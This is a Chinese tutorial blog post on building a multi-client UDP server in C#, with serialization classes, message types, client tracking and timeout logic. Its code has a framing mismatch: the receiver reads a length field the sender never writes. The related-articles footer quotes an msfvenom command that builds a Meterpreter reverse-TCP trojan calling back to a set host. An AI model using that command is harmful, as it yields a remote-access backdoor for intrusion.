用C#实现UDP服务器

news2025/3/30 15:28:22

对UDP服务器的要求

            如同TCP通信一样让UDP服务端可以服务多个客户端
            需要具备的条件:
            1.区分消息类型(不需要处理分包、黏包)
            2.能够接收多个客户端的消息
            3.能够主动给自己发过消息的客户端发消息(记录客户端信息)
            4.主动记录上次收到客户端消息的时间,如果长时间没有收到消息,主动移除记录的客户端信息

            分析:
            1.UDP是无连接的,我们如何记录连入的客户端
            2.UDP收发消息都是通过一个Socket来处理,我们应该如何和处理收发消息
            3.如果不使用心跳消息,如何记录上次收到消息的时间

基本数据类--封装序列化和反序列化等方法

此代码定义了一个抽象基类BaseData,其中包含抽象方法用于获取字节数组容器大小、序列化和反序列化成员变量,还提供了一系列受保护的方法用于在字节数组和不同数据类型(如intshortlong等)及字符串、BaseData子类对象之间进行读写操作。

using System;
using System.Collections;
using System.Collections.Generic;
using System.Text;

public abstract class BaseData
{
    //用于子类重写的 获取字节数组容器大小的方法
    public abstract  int GetBytesNum();
    //把成员变量序列化为对应的字节数组
    public abstract byte[] Writing();

    public abstract int Reading(byte[] bytes, int beginIndex=0);

    //bytes指定的字节数组
    //value具体的int值
    //index索引位置的变量
    protected void WriteInt(byte []bytes,int value,ref int index)
    {
        BitConverter.GetBytes(value).CopyTo(bytes, index);
        index += sizeof(int);
    }
    protected void WriteShort(byte[]bytes,short value,ref int index)
    {
        BitConverter.GetBytes(value).CopyTo(bytes, index);
        index += sizeof(short);
    }
    protected void WriteLong(byte[]bytes,long value,ref int index)
    {
        BitConverter.GetBytes(value).CopyTo(bytes, index);
        index += sizeof(long);
    }
    protected void WriteFloat(byte[] bytes, float value, ref int index)
    {
        BitConverter.GetBytes(value).CopyTo(bytes, index);
        index += sizeof(float);
    }
    protected void WriteByte(byte[]bytes,byte value,ref int index)
    {
        bytes[index] = value;
        index += sizeof(byte);
    }
    protected void WriteBool(byte[] bytes, bool value, ref int index)
    {
        BitConverter.GetBytes(value).CopyTo(bytes, index);
        index += sizeof(bool);
    }
    protected void WriteString(byte[]bytes,string value,ref int index)
    {
        //先存储string字节数组的长度
        byte[] strBytes = Encoding.UTF8.GetBytes(value);
        //BitConverter.GetBytes(strBytes.Length).CopyTo(bytes, index);
        //index += sizeof(int);
        WriteInt(bytes, strBytes.Length, ref index);
        //再存string字节数组
        strBytes.CopyTo(bytes, index);
        index += strBytes.Length;
    }
    protected void WriteData(byte[]bytes,BaseData data,ref int index)
    {
        data.Writing().CopyTo(bytes, index);
        index += data.GetBytesNum();
    }


    protected int ReadInt(byte[]bytes,ref int index)
    {
        int value = BitConverter.ToInt32(bytes, index);
        index += 4;
        return value;
    }
    protected short ReadShort(byte[] bytes, ref int index)
    {
        short value = BitConverter.ToInt16(bytes, index);
        index += 2;
        return value;
    }
    protected long ReadLong(byte[] bytes, ref int index)
    {
        long value = BitConverter.ToInt64(bytes, index);
        index += 8;
        return value;
    }
    protected float ReadFloat(byte[] bytes, ref int index)
    {
        float value = BitConverter.ToSingle(bytes, index);
        index += sizeof(float);
        return value;
    }
    protected byte ReadByte(byte[] bytes, ref int index)
    {
        byte value = bytes[index];
        index += 1;
        return value;
    }
    protected bool ReadBool(byte[] bytes, ref int index)
    {
        bool value = BitConverter.ToBoolean(bytes, index);
        index += sizeof(bool);
        return value;
    }
    protected string ReadString(byte[] bytes, ref int index)
    {
        int length = ReadInt(bytes, ref index);
        string value = Encoding.UTF8.GetString(bytes, index, length);
        index += length;
        return value;
    }
    protected T ReadData<T>(byte[] bytes, ref int index) where T : BaseData, new()
    {
        T value = new T();
        index+= value.Reading(bytes,index);
        return value;
    }
}

基本消息类

这段代码定义了一个名为BaseMsg的类,它继承自BaseData类。BaseMsg类重写了BaseData的抽象方法GetBytesNumReadingWriting,但这些重写方法只是简单抛出NotImplementedException异常,表明目前未实现具体逻辑。此外,BaseMsg类还定义了一个虚方法GetID,默认返回 0。

BaseMsg类的设计目的主要是作为消息类的基类,为后续具体消息类的实现提供统一的接口和结构框架。

using System.Collections;
using System.Collections.Generic;

public class BaseMsg : BaseData
{
    public override int GetBytesNum()
    {
        throw new System.NotImplementedException();
    }

    public override int Reading(byte[] bytes, int beginIndex = 0)
    {
        throw new System.NotImplementedException();
    }

    public override byte[] Writing()
    {
        throw new System.NotImplementedException();
    }
    public virtual int GetID()
    {
        return 0;
    }
}

玩家信息类

这段代码定义了一个名为PlayerMsg的类,它继承自BaseMsg类。PlayerMsg类代表了与玩家相关的消息,并且实现了消息的序列化和反序列化功能。

using System.Collections;
using System.Collections.Generic;

public class PlayerMsg : BaseMsg
{
    public int playerID;
    public PlayerData playerData;
    public override int GetBytesNum()
    {
        return 4 +//消息ID
            4 +//playerID长度
            playerData.GetBytesNum();//消息的长度
    }

    public override int GetID()
    {
        return 1001;
    }

    public override int Reading(byte[] bytes, int beginIndex = 0)
    {
        //反序列化不需要去解析ID,因为在这一步之前,就应该将ID反序列化出来
        //用来判断到底使用哪一个自定义类来反序列化
        int index = beginIndex;
        playerID = ReadInt(bytes, ref index);
        playerData = ReadData<PlayerData>(bytes, ref index);
        return index - beginIndex;
    }

    public override byte[] Writing()
    {
        int index = 0;
        byte[] playerBytes = new byte[GetBytesNum()];
        //先写消息ID
        WriteInt(playerBytes, GetID(), ref index);
        WriteInt(playerBytes, playerID, ref index);
        WriteData(playerBytes, playerData, ref index);
        return playerBytes;
    }
}
using System.Collections;
using System.Collections.Generic;
using System.Text;

public class PlayerData : BaseData 
{
    public string name; 
    public int lev;
    public int atk;

    public override int GetBytesNum()
    {
        return 4 + 4 + 4 + Encoding.UTF8.GetBytes(name).Length;
    }

    public override int Reading(byte[] bytes, int beginIndex = 0)
    {
        int index = beginIndex;
        name=ReadString(bytes, ref index);
        lev=ReadInt(bytes, ref index);
        atk=ReadInt(bytes, ref index);
        return index - beginIndex;
    }

    public override byte[] Writing()
    {
        int index = 0;
        byte[] bytes = new byte[GetBytesNum()];
        WriteString(bytes, name, ref index);
        WriteInt(bytes, lev, ref index);
        WriteInt(bytes, atk, ref index);
        return bytes;
    }
}

这段代码定义了一个名为PlayerData的类,它继承自BaseData类。PlayerData类的作用是用来表示玩家的相关数据,并且实现了这些数据的序列化与反序列化功能。

服务端类

这段代码定义了一个名为ServerSocket的类,用于构建基于 UDP 协议的服务器,它能通过绑定指定 IP 和端口启动服务,利用线程池实现消息接收与客户端超时检查,将客户端信息存储在字典中,可处理新客户端连接,接收客户端消息并交予对应客户端对象处理,支持向指定客户端发送消息、向所有客户端广播消息,还能移除超时或指定的客户端。

using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

namespace UDPServerExerise
{
    class ServerSocket
    {
        public Socket socket;
        private bool IsClose;
        //我们可以通过记录谁给我们发了消息 把它的IP和端口记录下来 这样就认为他是我的客户端了
        private Dictionary<string, Client> clientDic = new Dictionary<string, Client>();
        public void Start(string ip,int port)
        {
            socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
            IPEndPoint ipPoint = new IPEndPoint(IPAddress.Parse(ip), port);
            try
            {
                socket.Bind(ipPoint);
                IsClose = false;
            }
            catch (Exception e)
            {
                Console.WriteLine("UDP开启错误" + e.Message);
            }
            //接收消息,使用线程池
            ThreadPool.QueueUserWorkItem(ReceiveMsg);
            //检测超时的线程
            ThreadPool.QueueUserWorkItem(CheakTimeOut);
        }
        private void CheakTimeOut(object obj)
        {
            long nowTime=0;
            List<string> delClient = new List<string>();
            while (true)
            {
                //30秒检查一次
                Thread.Sleep(30000);
                //得到当前系统时间
                nowTime = DateTime.Now.Ticks / TimeSpan.TicksPerSecond;
                foreach (Client c in clientDic .Values)
                {
                    //超过十秒没有 收到消息的客户端需要被移除
                    if(nowTime -c.frontTime >=10)
                    {
                        delClient.Add(c.clientID);
                    }
                }
                //从待删除列表中删除超时客户端
                for (int i = 0; i < delClient.Count; i++)
                    RemoveClient(delClient[i]);
                delClient.Clear();
            }
        }
        private void ReceiveMsg(object obj)
        {
            byte[] bytes = new byte[512];
            //记录谁发的
            string strID = "";
            string ip;
            int port;
            EndPoint ipPoint = new IPEndPoint(IPAddress.Any, 0);
            while (!IsClose)
            {
                if(socket.Available >0)
                {
                    lock(socket)
                        socket.ReceiveFrom(bytes, ref ipPoint);
                    //处理消息 最好不要直接在这里处理,而是交给客户端对象处理
                    //收到消息时,我们要判断 是不是记录了这个客户端的信息(ip和端口)
                    //出去发送消息给我的IP和端口
                    ip = (ipPoint as IPEndPoint).Address.ToString();
                    port = (ipPoint as IPEndPoint).Port;
                    strID = ip + port;//拼接成唯一一个ID这是我们自定义的规则
                    //判断有没有记录这个客户端的信息,如果有直接用它处理信息
                    if(clientDic .ContainsKey (strID ))
                    {
                        clientDic[strID].ReceiveMsg(bytes);
                    }
                    else//如果没有 直接添加并处理消息
                    {
                        clientDic.Add(strID, new Client(ip, port));
                        clientDic[strID].ReceiveMsg(bytes);
                    }

                }
            }
        }
        public void SendTo(BaseMsg msg,IPEndPoint ipPoint)
        {
            try
            {
                lock (socket)
                    socket.SendTo(msg.Writing(), ipPoint);
            }
            catch (SocketException s)
            {
                Console.WriteLine("发消息出现问题" + s.SocketErrorCode + s.Message);
            }
            catch (Exception e)
            {
                Console.WriteLine("发消息出现问题(可能是序列化的问题)" + e.Message);
            }
          
        }
        private void Close()
        {
            if(socket!=null)
            {
                socket.Shutdown(SocketShutdown.Both);
                socket.Close();
                IsClose = true;
                socket = null;
            }
        }
        public void BoardCast(BaseMsg msg)
        {
            //广播给谁
            foreach (Client c in clientDic .Values)
            {
                SendTo(msg,c.ipAndPoint);
            }
        }
        public void RemoveClient(string clientID)
        {
            if(clientDic .ContainsKey (clientID))
            {
                Console.WriteLine("客户端{0}被移除了", clientID);
                clientDic.Remove(clientID);
            }
        }
    }
}

客户端类

这段代码定义了Client类,用于处理 UDP 服务器端接收到的来自客户端的消息。Client类的构造函数通过传入的 IP 和端口创建IPEndPoint对象并生成唯一的客户端 ID;ReceiveMsg方法接收消息字节数组,拷贝消息到新数组,记录消息接收时间,并将消息处理任务放入线程池;ReceiceHandleMsg方法从消息字节数组中解析消息类型、长度和消息体,针对不同消息 ID(如 1001 对应PlayerMsg消息,1003 对应quitMsg消息)进行相应处理,如反序列化PlayerMsg并输出相关信息,处理quitMsg时移除对应客户端,若处理消息出错也会移除该客户端。

using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

namespace UDPServerExerise
{
    class Client
    {
        public IPEndPoint ipAndPoint;
        public string clientID;
        public float frontTime = -1;
        public Client (string ip,int port)
        {
            //规则和外边一样 记录唯一ID 通过ip和port拼接的形式
            clientID = ip + port;
            //把客户端的信息记录下来
            ipAndPoint = new IPEndPoint(IPAddress.Parse(ip), port);
        }
        public void ReceiveMsg(byte[]bytes)
        {
            //为了避免处理消息时又接收到了新的消息 所以我们需要在处理消息前 先把消息拷贝出来
            //处理消息和接收消息用不同容器 避免发生冲突
            byte[] cacheBytes = new byte[512];
            bytes.CopyTo(cacheBytes, 0);
            //记录发消息的系统时间
            frontTime = DateTime.Now.Ticks / TimeSpan.TicksPerSecond;
            ThreadPool.QueueUserWorkItem(ReceiceHandleMsg, cacheBytes);
        }
        private void ReceiceHandleMsg(object obj)
        {
            try
            {
                byte[] bytes = obj as byte[];
                int nowIndex = 0;
                //解析消息类型
                int msgID = BitConverter.ToInt32(bytes, nowIndex);
                nowIndex += 4;
                //解析消息长度
                int length = BitConverter.ToInt32(bytes, nowIndex);
                nowIndex += 4;
                //解析消息体
                switch (msgID)
                {
                    case 1001:
                        PlayerMsg playerMsg = new PlayerMsg();
                        playerMsg.Reading(bytes, nowIndex);
                        Console.WriteLine(playerMsg.playerID);
                        Console.WriteLine(playerMsg.playerData.lev);
                        Console.WriteLine(playerMsg.playerData.atk);
                        Console.WriteLine(playerMsg.playerData.name);
                        break;
                    case 1003:
                        quitMsg quitMsg = new quitMsg();
                        //由于它没有消息体 所以不用反序列化
                        //quitMsg.Reading(bytes, nowIndex);
                        //处理退出
                        Program.serverSocket.RemoveClient(clientID);
                        break;
                }
            }
            catch (Exception e)
            {
                Console.WriteLine("处理消息出错" + e.Message);
                //如果出错了,就不用记录客户端的信息了
                Program.serverSocket.RemoveClient(clientID);
            }
        }
    }
}

退出消息类

这段代码定义了一个名为quitMsg的类,它继承自BaseMsg类,用于表示退出消息,重写了GetBytesNum方法指定消息字节数为 8,重写GetID方法返回消息唯一标识符 1003,重写Reading方法调用基类方法进行反序列化,重写Writing方法将消息 ID 和消息体长度(这里设为 0)序列化为字节数组。

using System.Collections;
using System.Collections.Generic;

public class quitMsg : BaseMsg
{
    public override int GetBytesNum()
    {
        return 8;
    }

    public override int GetID()
    {
        return 1003;
    }

    public override int Reading(byte[] bytes, int beginIndex = 0)
    {
        return base.Reading(bytes, beginIndex);
    }

    public override byte[] Writing()
    {
        int index = 0;
        byte[] bytes = new byte[GetBytesNum()];
        WriteInt(bytes, GetID(), ref index);
        WriteInt(bytes, 0, ref index);
        return bytes;
    }
}

主函数启动服务器

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace UDPServerExerise
{
    class Program
    {
        public static ServerSocket serverSocket;
        static void Main(string[] args)
        {
          
            serverSocket = new ServerSocket();
            serverSocket.Start("127.0.0.1", 8080);
            Console.WriteLine("UDP服务器启动了");
            string input = Console.ReadLine();
            if(input.Substring (0,2)=="B:")
            {
                PlayerMsg msg = new PlayerMsg();
                msg.playerData = new PlayerData();
                msg.playerID = 1001;
                msg.playerData.atk = 999;
                msg.playerData.lev = 88;
                msg.playerData.name ="DamnF的服务器";
                serverSocket.BoardCast(msg);
            }
        }
    }
}

成功运行程序--等待客户端通信

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2322574.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

印刷电路板 (PCB) 的影响何时重要?在模拟环境中导航

我和我的同事们经常被问到关于 PCB 效应的相同问题&#xff0c;例如&#xff1a; 仿真何时需要 PCB 效果&#xff1f; 为什么时域仿真需要 PCB 效应&#xff1f; 当 PCB 效应必须包含在仿真中时&#xff0c;频率是否重要&#xff1f; 设计人员应该在多大程度上关注 VRM 模型中包…

Leetcode 最小基因变化

java solution&#xff1a;BFS 算法 class Solution {public int minMutation(String startGene, String endGene, String[] bank) {//首先创建一个集合来存储有效基因串Set<String> bankSet new HashSet<>(Arrays.asList(bank));if(!bankSet.contains(endGene))…

输出输入练习

1. 题目&#xff1a;这个程序将向用户提出一个"y/N"问题&#xff0c;然后把用户输入的值赋值给answer变量。要求&#xff1a;针对用户输入y或y 和N或n进行过滤 #include <iostream>using namespace std;int main(){char answer;cout<<"请问可以格式…

人员进出新视界:视觉分析算法的力量

视觉分析赋能离岗检测新策略 随着时代的发展&#xff0c;失业率增加&#xff0c;社会安保压力也随之增大。企业为了提升管理效率&#xff0c;保障园区安全&#xff0c;对员工离岗检测的需求日益迫切。传统的离岗管理方式&#xff0c;如人工巡逻、打卡记录等&#xff0c;不仅效率…

3DGS较真系列

引言 机器视觉领域中&#xff0c;新颖视图合成技术的核心目标是通过图像或视频构建可以被计算机处理和理解的3D模型。该技术被认为是机器理解真实世界复杂性的基础&#xff0c;催生了大量的应用&#xff0c;包括3D建模、虚拟现实、自动驾驶等诸多领域。回顾其发展历史&#xf…

MSF木马的生成及免杀

先简单生成一个木马 ┌──(kali㉿kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

人工智能与无人机:无人机的进步与应用技术详解

人工智能&#xff08;Artificial Intelligence&#xff0c;简称AI&#xff09;是一门研究、开发用于模拟、延伸和扩展人类智能的理论、方法、技术及应用系统的新技术科学。 无人机&#xff0c;全称为无人驾驶飞行器&#xff08;UAV&#xff09;&#xff0c;也称为无人机器人、…

LeetCode算法题(Go语言实现)_12

题目 给定一个长度为 n 的整数数组 height 。有 n 条垂线&#xff0c;第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线&#xff0c;使得它们与 x 轴共同构成的容器可以容纳最多的水。 返回容器可以储存的最大水量。 一、代码实现 func maxArea(height []…

“11.9元“引发的系统雪崩:Spring Boot中BigDecimal反序列化异常全链路狙击战 ✨

&#x1f4a5; "11.9元"引发的系统雪崩&#xff1a;Spring Boot中BigDecimal反序列化异常全链路狙击战 &#x1f3af; &#x1f50d; 用 Mermaid原生防御体系图 #mermaid-svg-XZtcYBnmHrF9bFjc {font-family:"trebuchet ms",verdana,arial,sans-serif;fon…

SQL注入零基础学习二MYSQL手工注入

1.SQL注入之sqli-labs环境搭建 1.Sqli-labs项目地址—Github获取&#xff1a;GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. Sqli-labs环境安装 需要安装以下环境 apachemysqlphp Windows版phpstudy下载 - 小皮面板(phpstudy…

可以媲美YOLO的开源实时目标检测模型:RF-DETR,在 COCO 上达到 SOTA 水平,并专为微调设计

RF-DETR&#xff1a;SOTA 实时目标检测模型 RF-DETR 是由 Roboflow 开发并基于 Transformer 的实时目标检测模型架构&#xff0c;采用 Apache 2.0 许可证发布。 RF-DETR 是第一个在 Microsoft COCO 基准测试中超过 60 AP 的实时模型&#xff0c;同时在基础尺寸下具有竞争力。…

【hadoop】hadoop streaming

API&#xff1a; https://hadoop.apache.org/docs/stable/hadoop-streaming/HadoopStreaming.html&#xff08;hadoop3&#xff09; https://cwiki.apache.org/confluence/display/HADOOP2/HadoopStreaming&#xff08;hadoop2&#xff09; hadoop version查看hadoop版本&#…

Unity-RectTransform设置UI width

不知道有没人需要这样的代码&#xff0c;就是.sizeDelta //不确定是不是英文翻译的原因&#xff0c;基本很难理解&#xff0c;sizeDeltaSize&#xff0c;//未必完全正确&#xff0c;但这么写好像总没错过 //image 在一个UnityEngine.UI.Image 的数组内foreach (var image in l…

【现代深度学习技术】现代卷积神经网络04:含并行连接的网络(GoogLeNet)

【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上&#xff0c;结合当代大数据和大算力的发展而发展出来的。深度学习最重…

链表-LeetCode

这里写目录标题 1 排序链表1.1 插入法 O&#xff08;n&#xff09;1.2 归并排序 1 排序链表 1.1 插入法 O&#xff08;n&#xff09; /*** Definition for singly-linked list.* struct ListNode {* int val;* ListNode *next;* ListNode() : val(0), next(nullpt…

【STL】vector介绍(附部分接口模拟实现)

文章目录 1.介绍2.使用2.1 vector的构造2.2 vector空间相关接口2.2.1 size()2.2.2 capacity()2.2.3 empty()2.2.4 resize()2.2.5 reserve() 2.3 vector的增删查改2.3.1 push_back()2.3.2 insert()2.3.3 pop_back()2.3.4 erase()2.3.5 swap()2.3.6 operator[]注&#xff1a;关于…

一周掌握Flutter开发--8. 调试与性能优化(上)

文章目录 8. 调试与性能优化核心技能8.1 使用 Flutter DevTools 分析性能8.2 检查 Widget 重绘&#xff08;debugPaintSizeEnabled&#xff09;8.3 解决 ListView 卡顿&#xff08;ListView.builder itemExtent&#xff09; 其他性能优化技巧8.4 减少 build 方法的调用8.5 使用…

游戏引擎学习第182天

回顾和今天的计划 昨天的进展令人惊喜&#xff0c;原本的调试系统已经被一个新的系统完全替换&#xff0c;新系统不仅能完成原有的所有功能&#xff0c;还能捕获完整的调试信息&#xff0c;包括时间戳等关键数据。这次的替换非常顺利&#xff0c;效果很好。 今天的重点是在此基…

C语言_数据结构_二叉树

【本节目标】 树的概念及结构 二叉树的概念及结构 二叉树的顺序结构及实现 二叉树的链式结构及实现 1. 树的概念及结构 1.1 树的概念 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合。把它叫做树是因为…

Compare全目录文件比较内容(项目中用到过)

第一步&#xff1a;找到“会话”——“会话设置” 会话设置弹框信息 第二步&#xff1a;选择“比较”tab标签 比较内容&#xff1a;选中二进制比较 第三步&#xff1a;选中所有文件 第四步&#xff1a;右键选中“比较内容” 第五步&#xff1a;选中“基于规则的比较”